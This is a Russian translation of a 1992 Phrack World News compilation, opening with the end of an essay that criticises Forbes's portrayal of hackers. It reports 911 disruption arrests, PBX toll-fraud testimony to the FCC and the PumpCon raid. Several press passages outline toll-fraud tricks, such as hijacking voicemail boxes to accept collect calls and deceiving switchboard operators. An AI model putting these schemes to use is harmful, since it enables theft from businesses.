Основание для утверждения о том, что «хакерские ублюдки» (бывшие «хулиганы с детской площадки») стали опасны, строится на серии слухов и мифов из вторых и третьих уст. Затем авторы перечисляют «на основе общепризнанных достоверных материалов прессы» полдюжины или около того случаев нехакерского мошенничества, которые в контексте показались бы рядовому читателю частью «хакерской угрозы». Я насчитал в статье не менее 24 случаев полуправды, неточностей, искажений, сомнительных/надуманных связей или вводящих в заблуждение утверждений, напоминающих медиа-хайп 80-х. Например, статья приписывает Пхайбер Оптику пункты обвинительного заключения MOD, в котором его нет, вводит в заблуждение относительно обвинения Лена Роуза и его признания вины, использует информацию из вторых и третьих уст как «факт», не проверяя надёжность источников, и приводит факты вне контекста (например, приписывая Интернет-червя Морриса «хакерам»).

Ключевым «хакерским ублюдком» выступает «Кимбл» — немецкий хакер, которого, по словам некоторых, его собственные коллеги из Германии считают настолько падким на медиавнимание и ориентированным на личную выгоду, что избегают его. Главное преступление, описанное в статье, — взлом УАТС-узлов. Это, конечно, неправильно, но его «преступление» едва ли позволяет причислить его к категории «хакерской шпаны / организованной преступности», которой посвящена статья. Возможно, он занимается и другой деятельностью, о которой авторы умолчали, однако похоже, что он просто заурядный мелкий жулик. Авторы и сами не особо акцентируют внимание на его преступлениях. Вместо этого они прыгают к выводу о том, что «хакеры» делают то же самое и всё активнее перепродают номера преступникам — без единого доказательства этого прыжка. Чтобы читатель понял масштаб угрозы, авторы также апеллируют к недоказанным образам связи хакеров с турецкой мафией и намекают, что во время войны в Персидском заливе один хакер получил «миллионы» за проникновение в компьютер Пентагона и извлечение данных с разведывательного спутника (стр. 186).

Преступники используют компьютеры в преступных целях. Некоторые преступники могут покупать номера у других. Но статья рисует более широкую картину и отождествляет все компьютерные преступления с «хакерством». Логика авторов, судя по всему, такова: если преступление совершено с помощью компьютера, это хакерское преступление, а значит, компьютерная преступность и «хакеры» — синонимы. Статья игнорирует тот факт, что большинство компьютерных преступлений совершается «изнутри», и ничего не говорит о проблеме безопасности и о том, что главная угроза компьютерным системам — беспечные пользователи.

В одном коротком абзаце ближе к концу упоминаются опасения по поводу гражданских свобод, а в следующем — что EFF была создана для решения этих вопросов. Однако в статье никак не раскрывается, в чём состоят эти опасения. Вместо этого материал весьма творчески культивирует мистику «хакера-демона».

Использование таких выражений, как «новые ублюдки на районе», «хулиганы с детской площадки» и «хакерская шпана», говорит о том, что цель статьи состояла в том, чтобы подогнать факты под заданный угол.

В каком-то смысле авторы могли бы утверждать, что некоторые их «факты» точны. Например, фраза «хулиганы с детской площадки» приписана Cheshire Catalyst. «Ну, это *мы* не говорили!» Но они не уточняют, идёт ли речь об оригинальном CC. Фраза звучит как термин из недавней группировочной перебранки в хакерской среде, и если контекст именно таков, она никак не описывает некую новую «хакерскую культуру». Тем не менее использование этой фразы было бы равнозначно тому, как если бы критик статьи Forbes назвал её продуктом «медиашлюх, которым

теперь платят за то, что они раньше делали бесплатно», а потом применил термин «шлюхи» к авторам на том основании, что, мол, слово не я выдумал — кто-то другой, а я просто сообщаю о нём (и использую как центральную метафору) в точности так, как мне рассказали. Однако я подозреваю, что ни один из авторов Forbes не обрадовался бы ярлыку шлюхи — с намёком на то, что они prostitute журналистской честностью ради выгоды от сексапильной истории. Вот в чём беда статьи: авторы берут слухи и броские фразы, «просто сообщают» об этих фразах, а затем выстраивают вокруг них посылки *как будто* те были истиной — почти без каких-либо доказательств. Они берут непроверенную «правду» (где проверщики фактов, когда они так нужны?) или не связанный «факт» (например, случай инсайдерского мошенничества) и обобщают от единичного факта к широкой совокупности. Статья — превосходный образец творческой прозы.

## Почему это всё важно?

Компьютерная преступность серьёзна, дорогостояща и недопустима. Мошенничество — не шутка. Но чтобы решить проблему, нужно сначала её понять, а непонимание может привести к политике и законам, которые не только неэффективны, но и угрожают гражданским свободам. Общество должно быть точно информировано об опасностях компьютерных преступлений и о том, как их предотвращать. Однако мало пользы в создании демонов и ложном приписывании им чужих грехов. И без того достаточно плохо, что значение термина «хакер» стало применяться как к компьютерным хулиганам, так и к творческим исследователям, — незачем ещё и расширять его на все прочие виды компьютерных преступников.

CPSR, EFF, CuD и многие другие с определённым успехом работали над просвещением СМИ об опасностях компьютерной преступности и опасностях её неточного освещения с приписыванием «хакерам». Одни, а возможно, большинство журналистов серьёзно относятся к своей работе, дают фактам говорить за себя и как минимум добросовестно стараются не вгонять «факты» в повествование, которое, судя по всему, было предрешено заранее — по крайней мере по признанию одного из авторов.

Вопреки анонсу, в статье не было никаких доказательств — кроме сомнительных слухов — связи «хакеров» с организованной преступностью. Тем не менее подобные статьи используются законодателями и некоторыми сотрудниками правоохранительных органов для обоснования «наступления» на обычных хакеров, как если бы те были главной угрозой обществу. Forbes с платным тиражом свыше 735 000 экземпляров (по сравнению с бесплатным тиражом CuD в 40 000) охватывает значительную и влиятельную аудиторию. Истериичные материалы создают истериичные образы, а те порождают основанные на истерии законы, угрожающие правам законопослушных пользователей. Когда проблема определяется безответственно созданными образами, а затем преподносится публике, преодолеть политику и законы, ограничивающие права в киберпространстве, становится ещё труднее.

Вопрос не в том, изображаются ли «хакеры» благоприятно или нет. Вопрос в том, укрепляют ли образы охотничество на ведьм, ведущее к перегибам операции «Солнечный дьявол», фиаско Steve Jackson Games или чрезмерным приговорам для тех, кто либо законопослушен, либо назначен козлом отпущения. Опасность статьи Forbes в том, что она способствует преследованию тех, кого клеймят не столько за их поступки, сколько за ярлыки, которые на них навешены.

# Подросток 15 лет арестован после паралича службы 911 хакером

## 7 октября 1992

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN
PWN          Phrack World News          PWN
PWN
PWN          Issue 41 / Part 3 of 3      PWN
PWN
PWN          Compiled by Datastream Cowboy PWN
PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

**Автор:** Datastream Cowboy

---

*Автор: Caroline Mallan (The Toronto Star, стр. A22)*

15-летний подросток был арестован после того, как хакер, занимавшийся компьютерными розыгрышами, парализовал работу экстренной службы 911 в районе Метро.

Полиция из отдела по расследованию тяжких преступлений Метро изучала происхождение множества звонков, поступавших на службу 911 с середины июля по прошлый месяц.

Звонки перенаправлялись на экстренные службы района Этобико, сообщил детектив Уилли Джонстон, руководивший расследованием.

Поступали ложные вызовы скорой медицинской помощи, по которым выезжали полиция, пожарные и машины скорой помощи. В один из дней хакер сумел полностью заблокировать всю службу 911 в Метро, лишив возможности принимать настоящие вызовы.

Полиция не была уверена вчера вечером, на какое время система была выведена из строя, однако Джонстон сказал, что период был значительным.

Штаб-сержант Майк Сэйл предупредил хакеров, что ложные звонки поддаются отслеживанию.

«Уголовное злоупотребление системой экстренной службы 911 повлечёт за собой уголовное расследование и арест», — сказал Сэйл, добавив, что полиция занималась этим хакером лишь несколько недель, прежде чем вышла на подозреваемого.

Следователи Bell Canada помогли полиции установить происхождение звонков, и вчера офицеры задержали подростка прямо во время занятий в 11-м классе одной из школ Норт-Йорка.

Два компьютера были изъяты из дома мальчика и будут отправлены в Оттаву на экспертизу.

Джонстон выразил обеспокоенность тем, что другие хакеры также могут быть способны заблокировать службу 911, поскольку применявшиеся компьютерные технологии были достаточно примитивны, хотя сам процесс перенаправления звонков из дома на линии экстренных служб Этобико был весьма сложным.

Звонки проходили через компьютерный модем через две отдельные телефонные системы крупных городов США, прежде чем вернуться в Канаду, объяснил Джонстон.

Подозреваемый, чьё имя не может быть названо в соответствии с Законом о делинквентных несовершеннолетних, обвиняется в хищении услуг связи, 24 эпизодах хулиганства и 10 эпизодах передачи ложных сообщений.

Он был освобождён из-под стражи и должен явиться в суд по делам несовершеннолетних Норт-Йорка 6 ноября, сообщила полиция.



Власти рассчитывают провести новые аресты после того, как им удалось внедриться в рыхлую сеть компьютерных хакеров, называющих себя «Legion of Doom» и, по их словам, взламывавших корпоративные телефонные линии для звонков в системы 911 по всей стране с целью нарушения работы экстренных служб.

Прокуроры Вирджинии, Нью-Джерси и Мэриленда совместно со следователями из двух телефонных компаний отследили ряд хакеров и нагрянули в три дома в двух штатах.

9 октября ранним утром был арестован 23-летний житель Ньюарка, Нью-Джерси. Ему предъявлено несколько обвинений, в том числе в мошенничестве. В ближайшее время ожидаются аресты в двух местах штата Мэриленд.

Подозреваемый, действовавший под несколькими псевдонимами и известный властям как Maverick, сообщил следователям, что цель группы состояла в том, чтобы «попытаться взломать компьютерные системы 911 и заразить их вирусами, чтобы посеять хаос», — заявил капитан Джеймс Бурк из полиции округа Честерфилд, Вирджиния.

По словам Бурка, расследование только начинается. «Честно говоря, думаю, это лишь верхушка айсберга», — сказал он.

Хакеры сначала взламывают телефонные линии крупных компаний или таксофоны, а затем используют эти соединения для звонков на линии 911, сообщил Бурк. Как правило, хакеры устраивают конференц-звонки с другими службами 911 в других городах, одновременно блокируя связь в нескольких местах.

«Однажды мы были связаны с юрисдикциями Торонто и Лос-Анджелеса», — рассказал Бурк. «И никто из нас не мог отсоединиться».

Порой на линии находились до пяти хакеров, которые делали ложные вызовы о помощи. Операторы связи, не способные прервать звонки, были вынуждены слушать, а затем пытались убедить офицеров из других мест, что «вызов ненастоящий», сообщил Бурк.

«Очевидно, что существует реальная угроза катастрофических последствий», — сказал он.

Один телефонный счёт, выставленный компании в Миннесоте, показал масштаб проблемы. Компания обнаружила, что за 30 дней ей было начислено более 100 000 долларов за звонки, совершённые хакерами, по словам Бурка.

«Уверен, что множество других юрисдикций по всей стране сталкивается с теми же проблемами», — сказал Бурк.

Люди, называвшие себя членами «Legion of Doom» — которое также является названием профессиональной рестлинг-команды — звонили на телевизионную станцию в Ричмонде, Вирджиния, и в нью-йоркское бюро ABC в попытке привлечь к себе внимание прессы, сообщил Бурк.

\*\*\*

[illegible]

Авторы: Barbara E. McMullen и John F. McMullen (Newsbytes)

НЬЮ-ЙОРК — В беседе с Newsbytes сержант Курт Леонард из полицейского департамента округа Честерфилд, Вирджиния раскрыл дополнительные сведения о продолжающемся расследовании предполагаемых перебоев в работе службы 911 на восточном побережье США, предположительно



устроенных людьми, выдающими себя за членов хакерской группы «The Legion of Doom» (LOD).

Леонард установил личность задержанного в Ньюарке, Нью-Джерси, которого прежде называли только «Maverick»: им оказался Скотт Маверик, 23 года. Маверика предъявлены обвинения в террористических угрозах, воспрепятствовании осуществлению государственных функций и незаконном доступе к компьютеру. В настоящее время он находится под залогом.

Леонард сообщил, что Дэвид Плукино, 22 года, был обвинён по тем же статьям, что и Маверик, а также дополнительно — в хранении орудий взлома. Леонард отметил, что Плукино, ставший объектом обыска и ареста Секретной службой в 1990 году в рамках всё ещё продолжающегося расследования «Operation SunDevil», располагал информацией, связывающей его с членами Legion of Doom.

Связь с Legion of Doom стала предметом споров в онлайн-сообществе. Хотя Маверик, по имеющимся данным, заявил, что является членом группы и что цель группы — «попытаться взломать компьютерные системы 911 и заразить их вирусами, чтобы посеять хаос», члены группы отрицают какую-либо причастность к задержанным.

«Лекс Лютор», один из основателей группы, сообщил Newsbytes, когда стало известно о первоначальных арестах: «Насколько я понимаю, LOD уже пару лет как мертва и никогда не возродится. Маверик никогда не был в LOD. Существовали два списка членов — один в Phrack, другой в LOD TJ — и эти списки являются окончательным словом о членстве».

Он добавил: «Мы, очевидно, не можем помешать подражателям говорить, что они состоят в LOD. Когда существовал LOD, наши цели состояли в исследовании систем, оставляя их в том состоянии, в каком мы их находили. Целью было выявление уязвимостей, чтобы их можно было устранить до того, как настоящие преступники и вандалы вроде этого Маверика успеют причинить вред. Если этот Маверик действительно нарушил работу E911, ему следует предъявить не только обвинение в компьютерном вторжении, но и в покушении на убийство. 911 — это серьёзно».

Комментарии Лекс Лютора, сделанные до того, как стали известны имена задержанных, нашли отклик у Криса Гоггана (aka «Erik Bloodaxe»), Марка Абене (aka «Phiber Optik»), обоих бывших членов LOD, а также у Крейга Нейдорфа, который освещал историю членства в LOD в своём электронном издании «Phrack».

Когда имена задержанных стали известны, Newsbytes вновь обратились к Лекс Лютору, чтобы узнать, знакомы ли ему эти люди. Лютор ответил: «Добавить нечего — я никогда о них не слышал».

Phiber Optik, житель Нью-Йорка, рассказал Newsbytes, что помнит Плукино как человека, который держал компьютерный «чат»-сервис под названием «Interchat» в Нью-Джерси. «Они никогда не были членами LOD, и Плукино не был известен как компьютерный хакер. Похоже, это были подражатели LOD, которые теперь, угодив в тюрьму, получают то внимание, которого добивались», — сказал он.

Сотрудник правоохранительных органов, знакомый с расследованием SunDevil в отношении Плукино, согласился с Phiber Optik: «Никаких указаний на связь с Legion of Doom не было». Этот чиновник, говоривший на условиях анонимности, также сообщил Newsbytes, что расследование SunDevil в отношении Плукино продолжается и поэтому комментировать его пока невозможно.

Леонард также рассказал Newsbytes, что расследование стало результатом совместных усилий полицейских департаментов Нью-Джерси, Мэриленда и Вирджинии, и сообщил, что в дополнение к арестам Плукино и Маверика в 2:00 ночи 9 октября одновременно был проведён обыск в доме Зохара Шифа (aka «Zeke»), 23-летнего жителя Ганновера, Мэриленд, который также ранее был объектом обыска в рамках SunDevil.

Леонард также сообщил, что помимо компьютеров, изъятых у Плукино, были обнаружены материалы, «устанавливающие связь с Legion of Doom». Когда Леонарду сообщили о словах

членов LOD о том, что группа больше не существует, он заявил: «Хотя первоначальные члены, возможно, и занялись другими делами, эти люди называют себя LOD, некоторые из них имеют прямые связи с членами LOD и располагают материалами LOD».

На просьбу Newsbytes прокомментировать слова Леонарда Phiber Optik ответил: «Материалы, о которых он говорит, — вероятно, текстовые файлы, которые годами гуляют по BBS. То, что кто-то скачал эти файлы, совершенно не означает, что он связан или был когда-либо связан с LOD».

---

## **Жалобы на телефонное мошенничество на слушании FCC в расширенном составе &nbsp; 13 октября 1992**

*Автор: Art Brodsky (Communications Daily, стр. 1)*

Клиенты производителей АТС заявили в Федеральной комиссии по связи (FCC), что не должны нести ответственность за убытки от телефонного мошенничества, поскольку поставщики никогда не предупреждали их о возможностях оборудования, открывавших компании для электронных краж. Их позицию поддержал один из ведущих следователей по делам о телефонном мошенничестве в стране, заявивший на продолжавшихся весь день слушаниях, что пострадавшие не должны платить. Дональд Делани из полиции штата Нью-Йорк сказал, что телефонное мошенничество — «это единственное преступление, которое я знаю, где жертв привлекают к ответственности». Потери от телефонного мошенничества оцениваются в миллиарды долларов.

Изучение проблемы телефонного мошенничества было предпринято Комиссией в контексте того, что FCC может сделать для предотвращения или снижения ущерба. Комиссар Маршалл заявил, что задача Комиссии — распределить ответственность между поставщиками и клиентами. Комиссар Дагган, возглавляющий работу по данной теме в Комиссии, назвал телефонное мошенничество «скрытой дегенеративной болезнью на теле бизнеса». Он сосредоточился на страховом подходе к проблеме и распределении ответственности. В FCC находятся на рассмотрении дела, поданные клиентами AT&T и касающиеся разделения ответственности и того, защищены ли тарифами операторы связи от возмещения убытков клиентам. Свидетели сообщили Комиссии, что трудно найти какой-либо орган правопорядка, заинтересованный в этой проблеме, — от местной полиции до ФБР, — в дополнение к трудностям с поставщиками. По словам адвоката Уильяма Кука, выступавшего на дневном заседании, законодательная ответственность за телефонное мошенничество возложена на Секретную службу США. Было достигнуто общее соглашение о необходимости усиления просвещения клиентов для предотвращения мошенничества — политику, которую поддержала Northern Telecom, располагающая активной программой по просвещению клиентов.

Утреннее заседание сопровождалось особенно острой критикой в адрес AT&T: пользователи заявили, что компания безразлична к проблемам телефонного мошенничества. Томас Мара, исполнительный вице-президент Leucadia National Corp., компания которого понесла ущерб в 300 000 долларов от телефонного мошенничества, сказал, что «с огромным трудом добивался внимания AT&T» к проблемам своей компании. Мара сообщил, что число звонков на его номер 800 выросло с 100 до 10 448. По его словам, AT&T должна была уведомлять пользователей при любом «резком росте объема», однако «нас не уведомили ни о тысячекратном увеличении числа звонков на номер 800, ни об увеличении количества международных звонков с нескольких часов в месяц до тысяч часов — мы узнали об этом только из счетов AT&T». По словам Мары, расследование показало, что точкой входа хакеров стал номер 800, связывавший коммутатор Rolm с голосовой почтой компании.

Явно раздражённый AT&T, Мара заявил, что у него «есть ощущение, что они используют это как центр прибыли». Лоуренс Джессини, директор по телекоммуникациям Agway Corp. из Сиракуз, согласился с ним, добавив: «Телефонное мошенничество не должно становиться обоснованием для роста прибыли операторов». Он сообщил FCC, что новые программы, внедрённые операторами дальней связи, не решат проблему из-за ограничений, лимитов и затрат.

Выступая от имени пользовательской группы International Communications Association (ICA), Джессини заявил, что проблемы возникают из-за того, что новые технологии открывают больше возможностей для мошенничества, а «старые тарифные концепции», ограничивающие ответственность операторов связи, «искажают рыночные стимулы». По его словам, поставщики «в целом халатны и медленно устраняют даже известные проблемы в своём аппаратном, программном и встроенном обеспечении» и уделяют жалобам минимум внимания. ICA выдвинула 5 принципов, включая расследование FCC случаев мошенничества, создание консультативного комитета и готовность Комиссии защищать пользователей.

Джеффри Уильямс, отраслевой консультант и менеджер по телекоммуникациям IOMEGA Corp., отметил, что AT&T «наиболее известна» требованиями возмещения ущерба, тогда как Sprint и MCI более снисходительны. По его словам, MCI не взимает плату с пользователей за первый случай взлома, но после этого они предоставлены сами себе.

AT&T защищалась на дневном заседании, когда Питер Коултер, директор по международным расчётам, отверг обвинения пользователей, заявив, что компания «кардинально» расширила программу просвещения клиентов по сравнению с прошлым годом. Он настаивал на том, что AT&T «очень обеспокоена» телефонным мошенничеством: «Вопреки тому, во что некоторые хотят верить, ни один оператор дальней связи не получает прибыль от телефонного мошенничества». По его словам, в 1991 году 6000 клиентов AT&T посетили семинары по безопасности оборудования, а за первые 6 месяцев 1992 года этот показатель был превышен. Он отметил, что результаты расширенной программы просвещения «носят предварительный характер», однако его группа получает «значительно больше благодарностей», чем жалоб от клиентов.

Коултер, так и не признав, что компания должна взять на себя какую-либо финансовую ответственность, согласился с тем, что «всё теперь иначе» в плане подхода AT&T к проблеме телефонного мошенничества. По его словам, внутри AT&T прежде существовало противостояние между отделом оборудования и отделом услуг. «Ребята из оборудования говорили, что это проблема услуг, ребята из услуг говорили, что виновато оборудование», — сказал Коултер. Но теперь оба подразделения «работают над проблемой сообща... мы разговариваем друг с другом».

Делани из полиции штата Нью-Йорк нарисовал для FCC картину мошенничества, где доминируют не более 15 практиков, большинство из которых получают незаконный доступ к телефонным системам, часами набирая номера вручную. По его словам, на долю так называемых «пальцевых хакеров», а не компьютерных хакеров, приходится 90% мошенничества; он заявил Комиссии, что поставщики оборудования должны нести ответственность за мошенничество. Большинство мошеннических звонков направляется в Пакистан, Колумбию и Доминиканскую Республику, сообщил он.

Делани указал на практическое препятствие для дальнейшего просвещения поставщиков, сообщив комиссарам, что для поставщика заниматься просвещением означало бы признать, что с безопасностью его оборудования могут быть проблемы, — а продавцы на это не готовы. По его словам, некоторым клиентам было продано оборудование, и они не знали, что оно имеет возможность удалённого доступа — того самого средства, которое хакеры используют для проникновения.

---

Многие хакеры связаны с операторами call-sell, которые устраивают точки у таксофонов — преимущественно в бедных иммигрантских кварталах городов от Нью-Йорка до Лос-Анджелеса. За фиксированную плату — по данным одного источника, действующий тариф составляет 10

долларов — позвонившие могут звонить в любую точку мира и говорить столько, сколько захотят. Зазывала у таксофона кладёт наличные в карман, а кто-то другой оплачивает счёт.

Около 15–20 так называемых пальцевых хакеров (взламывающих коды авторизации ручным набором) распространяют информацию операторам call-sell в тысячах точек Нью-Йорка. По словам Дона Делани, старшего следователя полиции штата Нью-Йорк, основная масса таких звонков с городских таксофонов направляется в Доминиканскую Республику, Пакистан и Колумбию.

Для получения желаемого доступа хакеры используют не только технические навыки. Иногда они прибегают к «социальной инженерии» — убеждают сотрудников компании раскрыть информацию о телефонной системе. Или умело притворяются работниками компании.

В одной из последних схем мошеннический звонящий проникает в систему компании и просит оператора коммутатора соединить его с внешним оператором. Коммутатор предполагает, что звонящий — сотрудник, желающий позвонить за счёт собственной карточки.

Вместо этого он использует украденный или взломанный номер карточки. Мошенничество остаётся незамеченным до тех пор, пока владелец карточки не сообщает о несанкционированном использовании своему оператору дальней связи. Если владелец карточки отказывается оплачивать счёт, телефонная компания отслеживает звонки до предприятия, откуда они были совершены. Поскольку внешне кажется, что звонок исходил от компании, та нередко привлекается к ответственности.

В другой новой схеме хакер получает доступ к неиспользуемому расширению голосовой почты в компании или захватывает чью-то линию в ночное время либо пока постоянный пользователь в отпуске. Он меняет записанное объявление на такое: «Оператор, данный номер принимает все звонки по системе collect и third-party». После этого хакер — или кто угодно другой — может звонить в любую точку мира, выставляя счёт на это расширение.

Впрочем, мошенничество бывает гораздо более организованным и изощрённым. Роберт Разор, специальный агент, руководящий отделом по финансовым преступлениям Секретной службы США, приводит пример трёхсторонней схемы, при которой хакеры взламывают телефонную систему в США и создают отдельную сеть, позволяющую людям в других странах звонить друг другу напрямую. «Палестинцы — одна из наиболее заметных групп», реализующих подобное мошенничество, говорит он.

Но кем бы ни был конечный пользователь, платить в итоге приходится таким компаниям, как Dataproducts. Физические лица, как правило, не несут ответственности за несанкционированное использование их карточек звонков. По действующим нормам предприятие несёт ответственность за все звонки, прошедшие через его оборудование, независимо от того, исходили ли эти звонки от компании.

Этот суровый факт возмущает мистера Хэнли. «Это совершенно обескураживает и почти невероятно — быть ответственным за этот счёт. Это пугает любую компанию».

Ответственность Dataproducts оказалась сравнительно невелика по сравнению со средним ущербом в 168 000 долларов, рассчитанным мистером Хо в исследовании прошлого года. Всё могло бы оказаться намного хуже.

«Самое крупное дело, которое я когда-либо видел в регионе, — это компания, которая потеряла почти 1 миллион долларов в течение 30 дней», — говорит Алан Брилл, управляющий директор нью-йоркской компании корпоративной безопасности Kroll Associates Inc.

«Это был двойной удар: хотя их оператор дальней связи заметил подозрительную схему звонков и заблокировал доступ к тем кодам зоны, компания не знала, что её АТС автоматически переключится на другого оператора, если звонки не могут пройти», — говорит мистер Брилл. «В итоге компания получила счёт на 300 000 долларов от основного оператора и счёт на 600 000

долларов от резервного».

Как AT&T, так и Sprint Corp. предлагают тарифные планы, ограничивающие ответственность до 25 000 долларов за один инцидент мошенничества для корпоративных клиентов. Мистер Брилл советует компаниям детально оценивать экономическую эффективность этих планов, поскольку для получения страхового покрытия компании обязаны предпринять определённые шаги по минимизации рисков. «Если вы существенно снизите риски, возможно, страховка вам и не понадобится», — говорит он.

Планы требуют, чтобы клиенты отреагировали на проблему уже через два часа после уведомления о несанкционированных звонках. Это в любом случае позволит сократить убытки. «Также нужно подумать о том, как у вас организован персонал», — добавляет мистер Брилл. «Способны ли вы действовать так быстро?»

---

## Краткие заметки PWN

**1. РАЗГОН ХАКЕРСКОЙ ВЕЧЕРИНКИ** (*Robert Burg, Gannett, 03.11.92*) — «PumpCon накрылся!» — УАЙ-ПЛЕЙНС, Нью-Йорк — Полиция утверждает, что разогнанная в воскресенье (01.11.92) вечеринка была не просто шумным собранием — это была хакерская тусовка.

Трое мужчин обвинены в несанкционированном использовании компьютера и попытке компьютерного вторжения. Четвёртый был задержан по действующему ордеру за нарушение условий испытательного срока по делу о компьютерном мошенничестве в Аризоне, сообщил детектив-лейтенант Корнелиус Салливан из полиции Гринбурга.

Сотрудники охраны Westchester Marriott связались с полицией, заметив необычно большое количество людей, входящих и выходящих из одного номера. По словам полиции, когда они прибыли, в номере находились 23 человека, а компьютеры были подключены к телефонным линиям. Полиция также обнаружила телефонные кредитные карты, не принадлежавшие никому из присутствовавших.

Трое, обвинённых в несанкционированном использовании компьютера и попытке компьютерного вторжения: Рэнди Сигман, 40 лет, из Ньюингтона, Коннектикут; Рональд Дж. Пинз, 21 год, из Уоллингфорда, Коннектикут; и Байрон Вудард, 18 лет, из Вунсокета, Род-Айленд.

Они содержались в следственном изоляторе округа Уэстчестер в Валхалле в ожидании предъявления обвинений.

Задержанный по ордеру Джейсон Бриттейн, 22 года, из Тусона, Аризона, содержался под стражей без права на залог в ожидании предъявления обвинений.

Отдел по борьбе с мошенничеством прокуратуры округа Уэстчестер изъял компьютерное оборудование, программное обеспечение и прочую электронную технику.

Салливан сообщил, что участники вечеринки узнали о ней через компьютерные доски объявлений.

---

**2. АРЕСТЫ ЗА НЕСАНКЦИОНИРОВАННЫЙ КОМПЬЮТЕРНЫЙ ДОСТУП В НЬЮ-ЙОРКЕ** (*Barbara E. McMullen u John F. McMullen, Newsbytes, 03.11.92*) — ГРИНБУРГ, НЬЮ-ЙОРК — Полицейский департамент Гринбурга, Нью-Йорк объявил об аресте трёх лиц: Рэнди П. Сигмана, 40 лет; Рональда Дж. Пинза-мл., 21 год; и Байрона Дж. Вударда, 18 лет, — по обвинению в несанкционированном использовании компьютера и попытке компьютерного вторжения, являющихся уголовными проступками. Также был задержан Джейсон А. Бриттейн, 22 года, во исполнение ордера штата Аризона о розыске беглеца.

Аресты произошли в разгар вечеринки «OctoberCon», она же «PumpCon», позиционировавшейся как «хакерская встреча» в отеле Marriott Courtyard в Гринбурге. Аресты были произведены примерно в 4:00 утра в воскресенье, 1 ноября. Трёх обвиняемым по статьям о компьютерных преступлениях был установлен залог в 1000 долларов, предъявление обвинений назначено на пятницу, 6 ноября.

По словам источников Newsbytes, встреча, собравшая до шестидесяти человек, к субботнему вечеру сократилась примерно до двадцати пяти, когда около 22:00 в ответ на жалобы о шуме прибыла полиция и предположительно обнаружила компьютеры, использовавшиеся для доступа к системам через телефонные линии. Полиция задержала двадцать пять человек для допроса и вызвала помощника прокурора округа Уэстчестер Кеннета Ситарелла, специалиста по компьютерным преступлениям. В ходе допроса была получена информация о Бриттейне как о беглеце из Аризоны, и в 4:00 трём предполагаемым взломщикам и Бриттейну были предъявлены обвинения.

Лейтенант ДеКарло из полиции Гринбурга и Ситарелл сообщили Newsbytes, что расследование продолжается и никакой дополнительной информации пока нет.

---

**3. ТЮРЕМНЫЙ СРОК В США ЗА КОМПЬЮТЕРНЫЙ ВЗЛОМ** (*New York Law Journal*, 15.10.92, стр. 7) — Житель Бруклина вчера был приговорён к восьми месяцам тюремного заключения за покупку паролей у хакерской группы под названием «masters of deception» [MOD] с целью перепродажи всем, кто желал получить доступ к конфиденциальным кредитным отчётам.

Мортон Розенфельд, 21 год, получил приговор в федеральном суде Манхэттена после того, как в июне признал вину в получении несанкционированных средств доступа к базам данных TRW Information Services и других компаний, занимающихся кредитными отчётами.

Приговор, вынесенный судьёй Южного округа Ширли Воль Крам, считается одним из немногих тюремных сроков, назначенных за преступления, связанные с компьютерами.

Тем временем обвинения предъявлены предполагаемому источнику мистера Розенфельда: пяти членам «masters of deception» — молодым людям в возрасте от подросткового до 20 лет. Пятеро были обвинены в июле во взломе компьютерных систем кредитных бюро, телефонных компаний и учебных заведений.

Подробнее об обвинительном заключении и деле MOD см. ВСЕ статьи в PWN 40-2.

---

**4. ВЫШЛО ВТОРОЕ ИЗДАНИЕ ОНЛАЙН-ПРАВОВОГО РУКОВОДСТВА** (*Barbara E. McMullen и John F. McMullen, Newsbytes*, 13.10.92) — НЬЮ-ЙОРК — PC Information Group объявила о выпуске SysLaw, Second Edition: The Legal Guide for Online Service Providers («СисЛо, второе издание: Правовое руководство для провайдеров онлайн-услуг») авторства адвокатов Ланса Роуза и Джонатана Уоллеса.

По словам компании, «SysLaw обеспечивает системных операторов BBS, модераторов сетей и других провайдеров онлайн-услуг базовой информацией об их правах и обязанностях в форме, понятной неюристам».

Среди тем книги — Первая поправка, авторские права и товарные знаки, пользовательское соглашение, халатность, конфиденциальность, уголовное право, обыски и изъятия, вирусы и материалы для взрослых. Компания утверждает, что SysLaw не только разъясняет законы, но и даёт подробные советы, позволяющие системным операторам создавать желаемый баланс пользовательских услуг, свободы и защиты от рисков в своих системах.

Соавтор Ланс Роуз рассказал Newsbytes: «За четыре года с момента выхода первого издания сетевое сообщество осознало, насколько важны аспекты свободы слова в онлайн-пространстве».

«Первая поправка имеет огромное значение для онлайн-сообщества — как для освобождения провайдеров и пользователей онлайн-систем, так и для защиты их от неправомерного юридического преследования. В последние несколько лет было немало правоприменительных действий, затрагивавших системы досок объявлений, в том числе дела Стива Джексона и Крейга Нейдорфа/Phrack», — сказал он.

Роуз продолжил: «Новое издание включает эти новые события, а также новую информацию об имущественных правах в онлайн-среде, пользовательских соглашениях, ответственности системных операторов, вирусах и материалах для взрослых в онлайн-системах».

SysLaw доступна от PC Information Group, 1126 East Broadway, Winona, MN 55987 (800-321-8285 или 507-452-2824) по цене 34,95 долларов плюс 3,00 доллара за доставку и (при необходимости) налог с продаж.

Контакт для прессы: Brian Blackledge, PC Information Group, 800-321-8285

---

**5. ЕЩЁ ОДНА КНИГА О КОМПЬЮТЕРНОМ ПОДПОЛЬЕ** (*The Daily Telegraph*, 14.12.92, *стр.* 25) — *Approaching Zero: Data Crime and the Computer Underworld* («Приближаясь к нулю: Преступления с данными и компьютерный мир») Брайана Клафа и Пола Мунго (Faber & Faber, £14,99) — Взгляд на мир Fry Guy, Control C, Captain Zap и других хакеров, ответственных за вирусы, логические бомбы и троянские программы в персональных компьютерных сетях мира.

---

**6. ОТЛИЧНИК ПОЙМАН НА КОМПЬЮТЕРНОМ МОШЕННИЧЕСТВЕ** (*The Washington Times*, 09.11.92, *стр.* A6) — БРУКСВИЛЛ, ФЛА. — Трое учеников средней школы, числившихся в отличниках, обвинены в краже на десятки тысяч долларов через несанкционированные звонки дальней связи.

Брайан МакГроган, 16 лет, и Эдмунд Падджетт, 17 лет, которым предъявлены обвинения как взрослым, а также 15-летний подросток предположительно взламывали частные телефонные системы и звонили в международную хакерскую сеть. Ущерб одной компании составил 36 000 долларов.

«Это очень сообразительные, умные ребята», — сказал капитан шерифа округа Эрнандо Ричард Ньюджент после арестов. «Для них это игра. Это спорт».

Некоторые звонки были сделаны на компьютерные доски объявлений в Великобритании, Германии и Канаде, где рыхлая сеть хакеров предположительно обменивалась информацией о способах получения компьютерных данных и доступа к системам. Аресты по этому делу также были произведены в Нью-Йорке и Вирджинии, сообщил капитан Ньюджент.

